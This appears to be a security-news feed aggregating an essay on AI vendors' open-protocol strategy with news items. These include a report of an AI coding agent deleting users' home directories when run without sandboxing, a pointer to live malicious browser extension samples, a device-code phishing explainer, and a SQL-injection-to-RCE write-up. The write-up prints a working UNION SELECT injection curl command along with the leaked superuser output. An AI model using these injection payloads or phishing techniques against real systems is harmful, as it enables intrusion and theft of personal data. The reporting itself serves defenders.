<p class="wp-block-paragraph">It’s like <em>Game of Thrones</em>, except the principal AI powers seek regime change through seeming acts of beneficence rather than violence. For those who have been around for a while, it’s also entirely predictable, following a similar script we’ve seen in the cloud, on-premises servers, and more. Platform companies don’t give away technologies they’ve stopped caring about. They give away technologies they no longer need to own because competitive advantage has shifted to new ground.</p>



<p class="wp-block-paragraph">What does this mean for AI?</p>



<h2 class="wp-block-heading"><a></a>Gravity has shifted before</h2>



<p class="wp-block-paragraph">Google has long been an exceptionally active contributor to open source. <a href="https://www.infoworld.com/article/2260293/open-source-innovation-is-now-all-about-vendor-on-ramps-2.html">As I wrote in 2017</a>, Google wasn’t open sourcing TensorFlow and Kubernetes out of generosity but rather turning these open source assets into on-ramps for Google Cloud. Google was playing catch-up to AWS and Microsoft. As <a href="https://www.infoworld.com/article/2248699/why-kubernetes-is-winning-the-container-war.html">then Google product manager Martin Buhr said</a>, the company hoped to “create a gravity well in the market for container-based apps [so] that a significant percentage of them will end up with us.”</p>



<p class="wp-block-paragraph">In other words, platform companies routinely commoditize one layer of the stack so they can compete somewhere they hold a stronger hand.</p>



<p class="wp-block-paragraph">GitHub may be an even better example. <a href="https://www.infoworld.com/article/2334697/what-is-git-version-control-for-collaborative-programming.html">Git </a>is open. Anyone can host a Git repository and, once upon a time, different companies did just that. Yet <a href="https://www.infoworld.com/article/2266566/what-is-github-more-than-git-version-control-in-the-cloud.html">GitHub </a>became the default place software development happens for millions of developers. Nobody pays for Git, but lots of people pay for GitHub. We’re seeing this same phenomenon play out in AI.</p>



<h2 class="wp-block-heading">Trading contributions for control</h2>



<p class="wp-block-paragraph">Anthrophic and OpenAI have both pretended at being all for humanity’s good, but that’s not a good explanation for why they’re racing to give away things like <a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">MCP</a>. The deeper reason is that the model itself has turned out to be a poor place to build a lasting moat, and they’re trying to figure out what’s next. <a href="https://www.infoworld.com/article/4195842/which-ai-model-should-you-bet-your-company-on-none-of-them.html">As I pointed out recently</a>, the frontier model leaderboards change almost weekly. As such, enterprises shouldn’t build their AI strategy around the assumption that any one vendor will remain permanently ahead on model quality. Instead, as I suggested, AI may be sexy, but the “dull reality” is connecting those models to enterprise data, workflows, etc.</p>



<p class="wp-block-paragraph">The AI companies understand this better than anyone. Sure, they’ll continue spending billions training ever more capable models because frontier models attract developers, generate headlines, and open enterprise doors. But they’re also quietly acknowledging that benchmark leadership alone doesn’t create a durable platform.</p>



<p class="wp-block-paragraph">Developers return to the places where their tools, workflows, teammates, and accumulated work already live. Enterprises double down on the systems where their data, permissions, governance, and business processes are already connected. Every new integration makes that destination a little harder to leave, and every new workflow increases its pull. That’s what MCP, A2A, etc., are all about: increasing gravity around the models.</p>



<p class="wp-block-paragraph">Every major AI company wants to become the place where AI-assisted work naturally happens, and they’re now amassing armies of forward deployed engineers and trying other means to get legacy infrastructure to tie back to their frontier models. The enterprise incumbents want the same thing, but from the opposite direction. They don’t need to own the frontier; instead they need to connect the frontier to the systems that already safely run the business.</p>



<p class="wp-block-paragraph">That’s why I’m skeptical whenever someone confidently predicts that AI will sweep away enterprise software. I’ve seen this movie before. Developers absolutely live on the frontier, but enterprises don’t. Enterprises create value by connecting new capabilities to decades of accumulated applications, data, policies, and business processes. The newest model matters, and so does the newest agent framework. But neither creates much business value until it’s connected to customer records, financial systems, supply chains, HR data, and everything else enterprises already depend on.</p>



<p class="wp-block-paragraph">That’s where incumbents still possess enormous gravitational pull. My employer, Oracle, certainly believes so, just as Microsoft, SAP, Salesforce, and ServiceNow do. (Disclosure: I run developer relations at Oracle, which participates in the Agentic AI Foundation.) Ironically, open protocols strengthen that position rather than weaken it. If every model can speak MCP and every agent can interoperate through common standards, enterprises gain the freedom to adopt whichever frontier technology looks best without rebuilding every integration. The protocol becomes interchangeable.</p>



<h2 class="wp-block-heading">Open standards don’t stop gravity</h2>



<p class="wp-block-paragraph">None of this diminishes the importance of open standards. MCP succeeded because it solves a genuine problem. Developers shouldn’t have to build a custom connector every time an AI application needs access to a database or other business system. Neutral governance also matters because nobody wants foundational infrastructure controlled by a direct competitor. But we shouldn’t confuse open interfaces with open markets.</p>



<p class="wp-block-paragraph">An enterprise may find it easy to swap one MCP-compatible model for another while still remaining deeply dependent on the place where its prompts, evaluations, security policies, and employee habits have accumulated. Again, we’ve seen this before. Kubernetes made workloads dramatically more portable without making AWS, Azure, and Google Cloud interchangeable. SQL has been standardized for decades, yet databases remain fiercely differentiated businesses. Standards reduce friction, but they rarely eliminate competitive advantage. They simply move it.</p>



<p class="wp-block-paragraph">In like manner, Anthropic, Google, OpenAI, and others are happily standardizing how models, agents, tools, and enterprise systems communicate because they don’t expect the connection itself to determine the winner. Instead they expect to win by becoming the place where AI-assisted work naturally accumulates. Along the way, we’re going to see copious quantities of code given away, increasing developer productivity for all and outsized financial bonanzas for a few. Game on.</p>
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<title><![CDATA[Feyn AI Releases SQRL, a Text-to-SQL Model Family That Inspects the Database Before Writing a Query]]></title>
<description><![CDATA[Feyn Labs has released SQRL, a family of text-to-SQL models that inspect a database with read-only probes before committing to a query. The flagship SQRL-35B-A3B reports 70.6% execution accuracy on BIRD Dev, edging Claude Opus 4.6, and distills into self-hostable 4B and 9B checkpoints.
The post F...]]></description>
<link>https://tsecurity.de/de/3680083/ai-nachrichten/feyn-ai-releases-sqrl-a-text-to-sql-model-family-that-inspects-the-database-before-writing-a-query/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3680083/ai-nachrichten/feyn-ai-releases-sqrl-a-text-to-sql-model-family-that-inspects-the-database-before-writing-a-query/</guid>
<pubDate>Mon, 20 Jul 2026 00:33:04 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Feyn Labs has released SQRL, a family of text-to-SQL models that inspect a database with read-only probes before committing to a query. The flagship SQRL-35B-A3B reports 70.6% execution accuracy on BIRD Dev, edging Claude Opus 4.6, and distills into self-hostable 4B and 9B checkpoints.</p>
<p>The post <a href="https://www.marktechpost.com/2026/07/19/feyn-ai-releases-sqrl-a-text-to-sql-model-family-that-inspects-the-database-before-writing-a-query/">Feyn AI Releases SQRL, a Text-to-SQL Model Family That Inspects the Database Before Writing a Query</a> appeared first on <a href="https://www.marktechpost.com/">MarkTechPost</a>.</p>]]></content:encoded>
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<title><![CDATA[The cleanup trap: Stop asking RAG to fix bad data]]></title>
<description><![CDATA[The enterprise technology ecosystem is caught in a costly cycle. Over the past two years, millions of dollars have been funneled into generative AI pilots, yet many of these initiatives stall out before ever reaching a live production environment.When a project fails, the immediate instinct of te...]]></description>
<link>https://tsecurity.de/de/3679963/it-nachrichten/the-cleanup-trap-stop-asking-rag-to-fix-bad-data/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679963/it-nachrichten/the-cleanup-trap-stop-asking-rag-to-fix-bad-data/</guid>
<pubDate>Sun, 19 Jul 2026 22:32:19 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The enterprise technology ecosystem is caught in a costly cycle. Over the past two years, millions of dollars have been funneled into generative AI pilots, yet many of these initiatives stall out before ever reaching a live production environment.</p><p>When a project fails, the immediate instinct of technical leadership is often to blame the model: The context window was too restrictive, the latency was too high, or the reasoning capabilities simply were not there.</p><p>But as data engineers building the scaffolding for these systems, we often see a different reality: The model receives the blame, but the pipeline usually contains the root cause. Production gen AI rarely fails because of model limitations alone. More often, it fails because the enterprise data foundation underneath it is fundamentally unready.</p><p>This is what I call the 'Cleanup Trap': The false belief that an organization can pipe fragmented, inconsistent, and ungoverned legacy data into a large language model (LLM) orchestrator and simply “clean it up” or patch it at the retrieval layer.</p><h2><b>The mirage of the retrieval layer</b></h2><p>In a standard retrieval-augmented generation (RAG) architecture, the retrieval layer is tasked with pulling relevant business context to ground the model’s responses. Because modern frameworks make it simple to stand up a vector database and a basic embedding pipeline, leadership often assumes that the data engineering problem is solved.</p><p>It is not.</p><p>When an embedding model receives raw, unvalidated data directly from operational silos, the resulting vector space inherits the structural noise, duplicate records, and conflicting states present in the source systems.</p><p>If the core data pipeline suffers from silent degradation — schema drift, missing fields, delayed change-data-capture (CDC) synchronization — that degradation cascades directly into the vector store. An AI model cannot accurately synthesize customer intelligence if the data pipeline behind it is serving stale, contradictory profiles across disparate storage layers.</p><p>No amount of prompt engineering, semantic reranking, or vector hyperparameter tuning can compensate for a broken ingestion pipeline. If the foundation is compromised, the downstream application will hallucinate, expose unauthorized context, or fail to deliver deterministic value.</p><h2><b>Shifting from ad-hoc patching to programmatic guardrails</b></h2><p>To break out of the 'Cleanup Trap,' enterprise data teams must stop treating data quality as a post-processing step. They need to treat data readiness for AI with the same rigor they bring to traditional transaction processing.</p><p>This requires a deliberate architectural shift toward zero-trust data ingestion, structured validation frameworks, and automated anomaly detection before data ever reaches an AI orchestration layer.</p><h3><b>1. Harden the ingestion pipeline</b></h3><p>Data quality checks cannot exist as a nightly batch afterthought. If an enterprise AI application relies on real-time data to assist users, validation must happen inline.</p><p>Teams should implement explicit schema validation checks at the earliest ingestion point, such as the streaming ingress layer or the bronze landing layer of a medallion architecture. If an upstream operational database mutates a schema without warning, the pipeline should quarantine anomalous payloads rather than allowing corrupted metadata to pollute downstream AI contexts.</p><h3><b>2. Use multi-tiered algorithmic validation</b></h3><p>Static row-count validation rules are insufficient for AI readiness. True data health requires a multi-tiered approach.</p><p>This means pairing structural verification — null checks, type conformance, and schema validation — with statistical profiling to monitor for data drift. Tracking metric deviations across feature distributions helps ensure that historical context remains stable over time.</p><p>If a pipeline suddenly processes an unexpected spike in empty string variables or structurally deviant fields, automated alerts should trigger an immediate pause before vector database updates continue.</p><h3><b>3. Decouple security and compliancemfrom the model</b></h3><p>An LLM should never be the arbiter of data access control. Trying to enforce row-level security or personal data filtering through system prompts is a compliance risk.</p><p>Security must be managed within the data infrastructure tier. Enterprise data foundations should enforce strict access controls, tokenization of sensitive identifiers, and rigorous lineage tracing before information is indexed into vector stores or passed into an agent’s context window.</p><h2><b>Technical alignment: A pragmatic blueprint</b></h2><p>For technology leaders mapping their infrastructure roadmaps, AI readiness requires evaluating data pipelines against a strict operational checklist.</p><ul><li><p>Can you trace a flawed AI response back to the exact pipeline execution, source record, and transformation step that produced it?</p></li><li><p>Does your data lake architecture have a programmatic mechanism to segment and quarantine corrupted or non-compliant data before it reaches production feature stores?</p></li><li><p>Are your operational systems and AI-facing vector databases tightly synchronized, or are your agents making automated decisions based on outdated snapshots?</p></li></ul><p>These questions matter because production AI is not just a model deployment problem. It is a data reliability problem.</p><h2><b>Building for the production era</b></h2><p>The honeymoon phase of gen AI experimentation is ending. Enterprise leaders are demanding measurable, predictable, and secure business outcomes from their AI investments.</p><p>If an organization wants to transition from isolated, impressive-looking demos to resilient, production-grade AI systems, it must redirect its focus. Stop looking exclusively at the model tier.</p><p>The real competitive differentiator is not only the LLM an organization chooses. It is the engineering discipline, data governance, and pipeline resilience of the infrastructure built to feed it.</p><p>In the production era of AI, data engineering is no longer a backend function. It is the control plane for enterprise intelligence.</p><p><i>Naveen Ayalla is a senior data engineer. </i></p>]]></content:encoded>
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<title><![CDATA[26.1.3]]></title>
<description><![CDATA[- AI assistant:
                - Added a setting in Preferences for the maximum wait time for AI Engine responses
                - Fixed the model list display for GitHub Copilot with the free plan
                - Engine settings were redesigned
                - GPT-5 is now used as the defa...]]></description>
<link>https://tsecurity.de/de/3679833/downloads/2613/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679833/downloads/2613/</guid>
<pubDate>Sun, 19 Jul 2026 20:16:36 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="snippet-clipboard-content notranslate position-relative overflow-auto" data-snippet-clipboard-copy-content='            - AI assistant:
                - Added a setting in Preferences for the maximum wait time for AI Engine responses
                - Fixed the model list display for GitHub Copilot with the free plan
                - Engine settings were redesigned
                - GPT-5 is now used as the default model for OpenAI
            - Data Editor: Fixed an issue in the Grouping Panel when selecting an item from the "Add" menu required an extra click before applying changes (thanks to @EastLord)
            - Metadata:
                - Fixed schema dropdown width when creating a new constraint
            - Data Transfer:
                - Improved memory usage when importing large CSV files (thanks to @HellAmbro)
                - Fixed CSV export with multi-character quotes and improved quote/delimiter validation
            - Connectivity: Added global network profiles that can be used in all projects
            - Miscellaneous:
                - Added escaping for the pipe character in connection CLI parameters (thanks to @dhufnagel)
                - Removed unnecessary zoom restart prompts on Linux and macOS when moving or resizing the application window (thanks to @elcapo)
                - Fixed color refresh when switching themes (thanks to @anantgupta001)
                - Added the ability to reset font settings to default on the User Interface page in Preferences
            - Databases:
                - Apache Doris: database icon was updated (thanks to @xylaaaaa)
                - Databend driver was updated to version 0.4.8
                - DuckDB: Fixed LIST and ARRAY display in the Data Grid
                - GaussDB: Materialized views are now available in the Navigator tree (thanks to @kkk000111999)
                - Google Cloud SQL - MySQL: Fixed backup and restore failures caused by an exception
                - Greenplum: Fixed an out-of-memory error when loading the table list for schemas with resource groups enabled (thanks to @vaefremov95)
                - MariaDB: Fixed a UI freeze when deleting multiple table columns at once (thanks to @a3894281)
                - MySQL: Fixed an issue when creating a new table failed with an exception (thanks to @HellAmbro)
                - PostgreSQL:
                    - Fixed an issue where the MAINTAIN privilege was not shown for users who had it granted
                    - Fixed an issue where text arrays could be corrupted after editing values containing commas in the Data Grid
                    - Fixed unsupported constraint type warnings for NOT NULL constraints (thanks to @jmax01)
                - SQLite: Fixed an issue where SQL script execution processed only the first line of the script (thanks to @HellAmbro)'><pre class="notranslate"><code>            - AI assistant:
                - Added a setting in Preferences for the maximum wait time for AI Engine responses
                - Fixed the model list display for GitHub Copilot with the free plan
                - Engine settings were redesigned
                - GPT-5 is now used as the default model for OpenAI
            - Data Editor: Fixed an issue in the Grouping Panel when selecting an item from the "Add" menu required an extra click before applying changes (thanks to @EastLord)
            - Metadata:
                - Fixed schema dropdown width when creating a new constraint
            - Data Transfer:
                - Improved memory usage when importing large CSV files (thanks to @HellAmbro)
                - Fixed CSV export with multi-character quotes and improved quote/delimiter validation
            - Connectivity: Added global network profiles that can be used in all projects
            - Miscellaneous:
                - Added escaping for the pipe character in connection CLI parameters (thanks to @dhufnagel)
                - Removed unnecessary zoom restart prompts on Linux and macOS when moving or resizing the application window (thanks to @elcapo)
                - Fixed color refresh when switching themes (thanks to @anantgupta001)
                - Added the ability to reset font settings to default on the User Interface page in Preferences
            - Databases:
                - Apache Doris: database icon was updated (thanks to @xylaaaaa)
                - Databend driver was updated to version 0.4.8
                - DuckDB: Fixed LIST and ARRAY display in the Data Grid
                - GaussDB: Materialized views are now available in the Navigator tree (thanks to @kkk000111999)
                - Google Cloud SQL - MySQL: Fixed backup and restore failures caused by an exception
                - Greenplum: Fixed an out-of-memory error when loading the table list for schemas with resource groups enabled (thanks to @vaefremov95)
                - MariaDB: Fixed a UI freeze when deleting multiple table columns at once (thanks to @a3894281)
                - MySQL: Fixed an issue when creating a new table failed with an exception (thanks to @HellAmbro)
                - PostgreSQL:
                    - Fixed an issue where the MAINTAIN privilege was not shown for users who had it granted
                    - Fixed an issue where text arrays could be corrupted after editing values containing commas in the Data Grid
                    - Fixed unsupported constraint type warnings for NOT NULL constraints (thanks to @jmax01)
                - SQLite: Fixed an issue where SQL script execution processed only the first line of the script (thanks to @HellAmbro)
</code></pre></div>]]></content:encoded>
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<title><![CDATA[Database of Malicious Browser Extensions continues to grow!]]></title>
<description><![CDATA[Hello everyone, A few months ago I shared my open database of malicious browser extensions. I'm happy to say it has now grown to **over 500 malicious CRX samples**. It started as a small research project, but it's continued to grow as I discover and collect more malicious extensions. My goal is t...]]></description>
<link>https://tsecurity.de/de/3678731/malware-trojaner-viren/database-of-malicious-browser-extensions-continues-to-grow/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678731/malware-trojaner-viren/database-of-malicious-browser-extensions-continues-to-grow/</guid>
<pubDate>Sun, 19 Jul 2026 04:02:59 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Hello everyone,</p> <p>A few months ago I shared my open database of malicious browser extensions. I'm happy to say it has now grown to **over 500 malicious CRX samples**.</p> <p>It started as a small research project, but it's continued to grow as I discover and collect more malicious extensions. My goal is to make it a useful resource for researchers, students, and anyone interested in browser extension security.</p> <p>One thing I'm working on next is making the data easier to consume in other tools. At the moment I'm considering exposing it in formats such as:</p> <p>* JSON<br> * CSV</p> <p>I'm also thinking about adding things like an API or threat-intelligence style feeds if people think they'd be useful.</p> <p>I'd love to hear your thoughts:</p> <p>* What format would you actually use?<br> * Are there any security tools or platforms you'd like to integrate it with?<br> * Is there any metadata you'd find useful that I'm currently missing?</p> <p>Repository:<br> [<a href="https://github.com/GherardoFiori/MaliciousBrowserExtensions%5C%5D(https://github.com/GherardoFiori/MaliciousBrowserExtensions?utm%5C_source=chatgpt.com)">https://github.com/GherardoFiori/MaliciousBrowserExtensions\](https://github.com/GherardoFiori/MaliciousBrowserExtensions?utm\_source=chatgpt.com)</a></p> <p>**Please remember these are live malicious browser extensions. Handle them with care.**</p> <p>Project:<br> [<a href="https://exterminai.com/%5C%5D(https://exterminai.com/)">https://exterminai.com/\](https://exterminai.com/)</a></p> <p>Any feedback is appreciated. Thanks!</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/ElBuio"> /u/ElBuio </a> <br> <span><a href="https://www.reddit.com/r/MalwareAnalysis/comments/1v04d6m/database_of_malicious_browser_extensions/">[link]</a></span>   <span><a href="https://www.reddit.com/r/MalwareAnalysis/comments/1v04d6m/database_of_malicious_browser_extensions/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[OpenAI Acknowledges GPT-5.6 May Accidentally Delete Files, Calls It 'Honest Mistake']]></title>
<description><![CDATA["OpenAI has finally confirmed reports that its latest family of large language models can accidentally delete files," reports InfoWorld, "while stressing that such incidents are rare and should be viewed as 'honest mistakes.'"



Reports of the flagship LLMs deleting files emerged shortly after t...]]></description>
<link>https://tsecurity.de/de/3678730/it-security-nachrichten/openai-acknowledges-gpt-56-may-accidentally-delete-files-calls-it-honest-mistake/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678730/it-security-nachrichten/openai-acknowledges-gpt-56-may-accidentally-delete-files-calls-it-honest-mistake/</guid>
<pubDate>Sun, 19 Jul 2026 03:52:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA["OpenAI has finally confirmed reports that its latest family of large language models can accidentally delete files," reports InfoWorld, "while stressing that such incidents are rare and should be viewed as 'honest mistakes.'"



Reports of the flagship LLMs deleting files emerged shortly after the company launched them earlier this month, with investor Matt Shumer taking to X to report that GPT-5.6-Sol had "just accidentally deleted almost all" of his Mac's files. Just days later, software engineer Bruno Lemos posted on X that the same model had deleted his entire production database. In response to these incidents, the company's engineering lead for Codex, Thibault Sottiaux, wrote on X that internal investigations have revealed that these deletion incidents are more likely to happen when "full access mode is enabled, and Codex is run without sandboxing protections, including without auto review being enabled." In cases where full access mode is granted, the model, Sottiaux wrote, "attempts to override the $HOME env var to define a temporary directory. The model makes an honest mistake and mistakenly deletes $HOME instead...." 



The company, however, according to Sottiaux, is taking steps to mitigate the risk. "This is of course not how we want the system to behave, even when a user operates the model in full-access mode without the safeguards of our sandbox or without using auto review which checks for these kinds of high risk actions and rejects them," the engineering lead wrote on X. "We are taking steps to mitigate this risk, including by updating the developer message, guiding more users towards safer permission modes, and adding additional harness safeguards," Sottiaux added, noting that a detailed post-mortem outlining the root cause of the issue and the additional mitigation measures being implemented is expected to follow in the coming days, despite emphasizing that such incidents happen "extremely rarely."



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</div><p><a href="https://developers.slashdot.org/story/26/07/19/0129228/openai-acknowledges-gpt-56-may-accidentally-delete-files-calls-it-honest-mistake?utm_source=rss1.0moreanon&amp;utm_medium=feed">Read more of this story</a> at Slashdot.</p>]]></content:encoded>
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<title><![CDATA[Data Visualisation: The Good, The Bad, The Ugly and the Beautiful (emf2026)]]></title>
<description><![CDATA[(Alt title - Look at this Graph: How to make Visualisations to be Proud of)

You probably encounter at least one data visualisation every day - whether that's in the news, in your own projects, or just scrolling through r/dataisugly. But what makes a visualisation good or bad?

Data visualisation...]]></description>
<link>https://tsecurity.de/de/3678709/it-security-video/data-visualisation-the-good-the-bad-the-ugly-and-the-beautiful-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678709/it-security-video/data-visualisation-the-good-the-bad-the-ugly-and-the-beautiful-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 03:31:59 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[(Alt title - Look at this Graph: How to make Visualisations to be Proud of)

You probably encounter at least one data visualisation every day - whether that's in the news, in your own projects, or just scrolling through r/dataisugly. But what makes a visualisation good or bad?

Data visualisation lets us leverage the powerful parallel processing abilities of our visual cognition system to understand data in an intuitive way. However, this system is also subject to bias, leaving us vulnerable to misunderstanding if the visualisation is designed poorly. As Tim Harford puts it, it is not always the &quot;ugly&quot; visualisations that are the most misleading, but the &quot;beautiful&quot;. 

In this talk I will discuss some classic dataviz rules of thumb, as well as newer research that may challenge these heuristics (spoiler alert: pie charts might not be as bad as you think!). I'll also discuss some ways you can make your own visualisations beautiful, interesting and trustworthy, using the R package ggplot2 as a worked example.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/241-data-visualisation-the-good-the-bad-the-ugly]]></content:encoded>
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<title><![CDATA[Data Visualisation: The Good, The Bad, The Ugly and the Beautiful (emf2026)]]></title>
<description><![CDATA[(Alt title - Look at this Graph: How to make Visualisations to be Proud of)

You probably encounter at least one data visualisation every day - whether that's in the news, in your own projects, or just scrolling through r/dataisugly. But what makes a visualisation good or bad?

Data visualisation...]]></description>
<link>https://tsecurity.de/de/3678687/it-security-video/data-visualisation-the-good-the-bad-the-ugly-and-the-beautiful-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678687/it-security-video/data-visualisation-the-good-the-bad-the-ugly-and-the-beautiful-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 03:02:58 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[(Alt title - Look at this Graph: How to make Visualisations to be Proud of)

You probably encounter at least one data visualisation every day - whether that's in the news, in your own projects, or just scrolling through r/dataisugly. But what makes a visualisation good or bad?

Data visualisation lets us leverage the powerful parallel processing abilities of our visual cognition system to understand data in an intuitive way. However, this system is also subject to bias, leaving us vulnerable to misunderstanding if the visualisation is designed poorly. As Tim Harford puts it, it is not always the &quot;ugly&quot; visualisations that are the most misleading, but the &quot;beautiful&quot;. 

In this talk I will discuss some classic dataviz rules of thumb, as well as newer research that may challenge these heuristics (spoiler alert: pie charts might not be as bad as you think!). I'll also discuss some ways you can make your own visualisations beautiful, interesting and trustworthy, using the R package ggplot2 as a worked example.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/241-data-visualisation-the-good-the-bad-the-ugly]]></content:encoded>
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<title><![CDATA[From SQL Injection to Infrastructure-Level RCE: A PostgreSQL Superuser Compromise]]></title>
<description><![CDATA[Imagine finding a backdoor that gives you absolute superuser access to a state infrastructure network, documenting the exploit chain perfectly, and submitting it—only to be met with total bureaucratic silence.While auditing a financial management web portal (vsswb), I discovered a single unparame...]]></description>
<link>https://tsecurity.de/de/3677781/hacking/from-sql-injection-to-infrastructure-level-rce-a-postgresql-superuser-compromise/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677781/hacking/from-sql-injection-to-infrastructure-level-rce-a-postgresql-superuser-compromise/</guid>
<pubDate>Sat, 18 Jul 2026 11:39:13 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<blockquote><em>Imagine finding a backdoor that gives you absolute superuser access to a state infrastructure network, documenting the exploit chain perfectly, and submitting it—only to be met with total bureaucratic silence.</em></blockquote><p>While auditing a financial management web portal (vsswb), I discovered a single unparameterized parameter that ultimately resulted in <strong>unauthenticated Remote Code Execution (RCE)</strong>. This is the technical walkthrough of the exploit chain.</p><h3>1. The Entry Point</h3><p>The vulnerable endpoint was responsible for processing the pJobNumber parameter.</p><pre>vss00CvStatusData.php</pre><p>Appending a single quote (') immediately triggered a raw PostgreSQL error:</p><pre>pg_query(): Query failed: ERROR: unterminated quoted string at or near "## order by wcs.fdate ;"</pre><h3>Observation</h3><p>User-controlled input was being directly concatenated into a SQL statement without parameterization.</p><h3>2. Fingerprinting the Database</h3><p>Using UNION SELECT with NULL placeholders to align the three-column query structure, I extracted the PostgreSQL version and execution context.</p><pre>curl -k -s "https://[TARGET_URL]/vsswb/vss00CvStatusData.php?pAction=LoadTypeCombo&amp;pJobNumber=nonexistent'+UNION+SELECT+NULL,version(),current_user--&amp;pSelection=1"</pre><p>Response:</p><pre>[<br>  {<br>    "wbid": null,<br>    "job": "PostgreSQL 13.1, compiled by Visual C++ build 1914, 64-bit",<br>    "wodetails": "postgres"<br>  }<br>]</pre><h3>Finding</h3><p>The web application connected directly as the native PostgreSQL <strong>postgres</strong> account.</p><p>This is the database superuser, effectively eliminating privilege boundaries.</p><h3>3. Mass Data Exposure</h3><p>With superuser privileges, PostgreSQL system catalogs became fully accessible.</p><p>Enumeration quickly revealed employee records stored in:</p><pre>public.vss01tpemployee</pre><p>The table contained personally identifiable information (PII), including employee names, PAN numbers, and financial records.</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=2e0169207286" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/from-sql-injection-to-infrastructure-level-rce-a-postgresql-superuser-compromise-2e0169207286">From SQL Injection to Infrastructure-Level RCE: A PostgreSQL Superuser Compromise</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
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<title><![CDATA[Device Code Phishing: How Attackers Abuse Microsoft’s Legitimate Authentication Page Without…]]></title>
<description><![CDATA[Device Code Phishing: How Attackers Abuse Microsoft’s Legitimate Authentication Page Without Stealing Your PasswordThe most convincing Microsoft phishing attack yet. Learn how attackers abuse Microsoft’s trusted device authentication process, obtain access tokens instead of passwords, and why tra...]]></description>
<link>https://tsecurity.de/de/3677780/hacking/device-code-phishing-how-attackers-abuse-microsofts-legitimate-authentication-page-without/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3677780/hacking/device-code-phishing-how-attackers-abuse-microsofts-legitimate-authentication-page-without/</guid>
<pubDate>Sat, 18 Jul 2026 11:39:11 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Device Code Phishing: How Attackers Abuse Microsoft’s Legitimate Authentication Page Without Stealing Your Password</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7OVpY6KkTRyuVGErNrEOnw.png"></figure><p>The most convincing Microsoft phishing attack yet. Learn how attackers abuse Microsoft’s trusted device authentication process, obtain access tokens instead of passwords, and why traditional MFA awareness alone is no longer enough.</p><p>Have You Ever Come Across a Website Like This Below Screenshot? No fake Microsoft login pages. No stealing of passwords. No cloned authentication forms. No obvious browser warnings. Yes that’s device code phishing</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IWV-Evt-XtPkaXDpCmwEVg.png"><figcaption>At first glance, this page looks completely legitimate.</figcaption></figure><p>It carries Microsoft’s branding, displays a verification code, and instructs users to continue their sign-in using the official Microsoft Device Login page. Unlike traditional phishing websites, there are no fake Microsoft login forms, no requests for your password, and no obvious signs that something is wrong.</p><p>So, it must be safe… right?</p><p>Not necessarily.</p><p>Device Code Phishing has become one of the most effective phishing techniques because it abuses Microsoft’s legitimate authentication workflow instead of attempting to steal usernames and passwords. Since users authenticate directly with Microsoft, many of the traditional warning signs associated with phishing are absent, making these attacks significantly more convincing.</p><p>In this article, the ThreatWatch360 team explains how Device Code Phishing works, why it is dangerous, and how attackers leverage this technique to gain unauthorized access to Microsoft 365 accounts without ever asking victims for their credentials.</p><h3>What is Device Code Authentication?</h3><p>Before understanding Device Code Phishing, it’s important to understand Device Code Authentication.</p><p>Microsoft introduced the Device Code Flow to allow devices with limited input capabilities, such as smart TVs, conference room devices, IoT devices, and command-line applications, to authenticate users.</p><p>Instead of entering credentials directly on the device, Microsoft generates a short verification code.</p><p>The user then visits Microsoft’s official Device Login page, enters the code, signs in with their Microsoft account, and authorizes the request.</p><p>The authenticated session is then linked back to the requesting application.</p><p>This workflow is completely legitimate and is widely used by Microsoft-supported applications.</p><p>Unfortunately, threat actors discovered they could abuse this authentication flow for phishing.</p><h3>How Device Code Phishing Works</h3><p>Unlike traditional phishing attacks, Device Code Phishing does <strong>not</strong> steal passwords.</p><p>Instead, it tricks victims into authorizing an attacker-controlled application using Microsoft’s own authentication infrastructure.</p><p>The result is that the attacker receives a valid Microsoft access token after the victim successfully authenticates.</p><p><strong>Stage 1 — The Phishing Email</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tAn7mYR2AdzzB3hwopRHjw.png"><figcaption>Initial Phishing Email</figcaption></figure><p>The attack usually begins with a convincing phishing email.</p><p>In our demonstration, the victim receives an email claiming that Microsoft detected unusual 